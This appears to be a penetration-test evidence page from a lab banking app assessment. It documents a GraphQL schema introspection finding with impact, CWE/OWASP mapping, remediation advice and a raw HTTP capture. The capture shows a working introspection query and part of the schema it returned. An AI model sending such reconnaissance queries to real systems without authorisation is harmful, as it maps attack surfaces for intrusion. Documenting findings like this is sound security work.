Test case 07 / 26FAIL
Excessive Data Exposure - GraphQL - Schema Introspection
Lab environment — not a production system
Screenshots and raw traffic are not translated; text within them may be in another language.
vuln-bank/Evidence/[FAIL] Excessive Data Exposure - GraphQL - Schema Introspection
01 — Notes
Test notes
Vulnerability
[FAIL] Excessive Data Exposure - GraphQL - Schema Introspection
Description
The /graphql endpoint serves __schema introspection queries to ordinary authenticated users. Every type, field, and argument in the schema can be downloaded, including fields not used by the official interface.
Impact
Low: introspection gives an attacker a complete map of the GraphQL attack surface without guessing field names. This information accelerates the discovery of other vulnerabilities in the same layer; in this test, the accountNumber argument revealed by the schema became the entry point for the SQL Injection finding in the transactionSummary resolver. Introspection itself does not disclose customer data.
CWE
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
OWASP
A05:2021 - Security Misconfiguration
Scenario
Exploitation: a __schema query is sent using an ordinary user token -> every type and field definition is returned, including the transactionSummary resolver and its arguments.
Endpoint
POST http://127.0.0.1:5001/graphql
Affected feature
GraphQL endpoint
Remediation
- Disable introspection in production environments.
- Apply query allow-listing (persisted queries) so only known operations can run.
- Limit query depth and complexity and apply rate limiting.
- Ensure every resolver enforces its own authorization checks.
Proof of concept
1) (Screenshot 1) EXPLOITATION: a __schema introspection query is sent with an ordinary user token -> the entire schema types and fields are returned, including the transactionSummary resolver and its arguments.
View source note (English)
Vulnerability:
[FAIL] Excessive Data Exposure - GraphQL - Schema Introspection
Description:
The /graphql endpoint serves __schema introspection queries to ordinary authenticated users. Every type, field, and argument in the schema can be downloaded, including fields not used by the official interface.
Impact:
Low: introspection gives an attacker a complete map of the GraphQL attack surface without guessing field names. This information accelerates the discovery of other vulnerabilities in the same layer; in this test, the accountNumber argument revealed by the schema became the entry point for the SQL Injection finding in the transactionSummary resolver. Introspection itself does not disclose customer data.
CWE:
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
OWASP:
A05:2021 - Security Misconfiguration
Scenario:
Exploitation: a __schema query is sent using an ordinary user token -> every type and field definition is returned, including the transactionSummary resolver and its arguments.
Endpoint:
POST http://127.0.0.1:5001/graphql
Affected Feature:
GraphQL endpoint
Remediation:
- Disable introspection in production environments.
- Apply query allow-listing (persisted queries) so only known operations can run.
- Limit query depth and complexity and apply rate limiting.
- Ensure every resolver enforces its own authorization checks.
POC:
1) (Screenshot 1) EXPLOITATION: a __schema introspection query is sent with an ordinary user token -> the entire schema types and fields are returned, including the transactionSummary resolver and its arguments.
02 — Screenshots
Screenshots (1)
03 — Requests and responses
HTTP captures
Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.
CAPTURE 01 / 1
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 94
{"query": "{__schema{queryType{name} types{name fields{name type{name kind ofType{name}}}}}}"}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 16837
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:13:04 GMT
{
"data": {
"__schema": {
"queryType": {
"name": "Query"
},
"types": [
{
"fields": [
{
"name": "transactionSummary",
"type": {
"kind": "OBJECT",
"name": "TransactionSummaryType",
"ofType": null
}
}
],
"name": "Query"
},
{
"fields": [
{
"name": "scope",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "accountNumber",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "totalTransactions",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "totalVolume",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "inflowTotal",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "outflowTotal",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "netFlow",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "largestTransaction",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "totalLoansGiven",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "pendingLoansCount",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "pendingLoansTotal",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "billPaymentTotal",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
},
{
"name": "billPaymentsCount",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "byType",
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"name": "TransactionTypeAggregate"
}
}
},
{
"name": "recentTransactions",
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"name": "TransactionRecordType"
}
}
}
],
"name": "TransactionSummaryType"
},
{
"fields": null,
"name": "String"
},
{
"fields": null,
"name": "Int"
},
{
"fields": null,
"name": "Float"
},
{
"fields": [
{
"name": "transactionType",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "count",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "totalAmount",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
}
],
"name": "TransactionTypeAggregate"
},
{
"fields": [
{
"name": "id",
"type": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
{
"name": "fromAccount",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "fromUsername",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "toAccount",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "toUsername",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
{
"name": "amount",
"type": {
"kind": "SCALAR",
"name": "Float",
"ofType": null
}
}
[... 10837 more bytes not shown ...]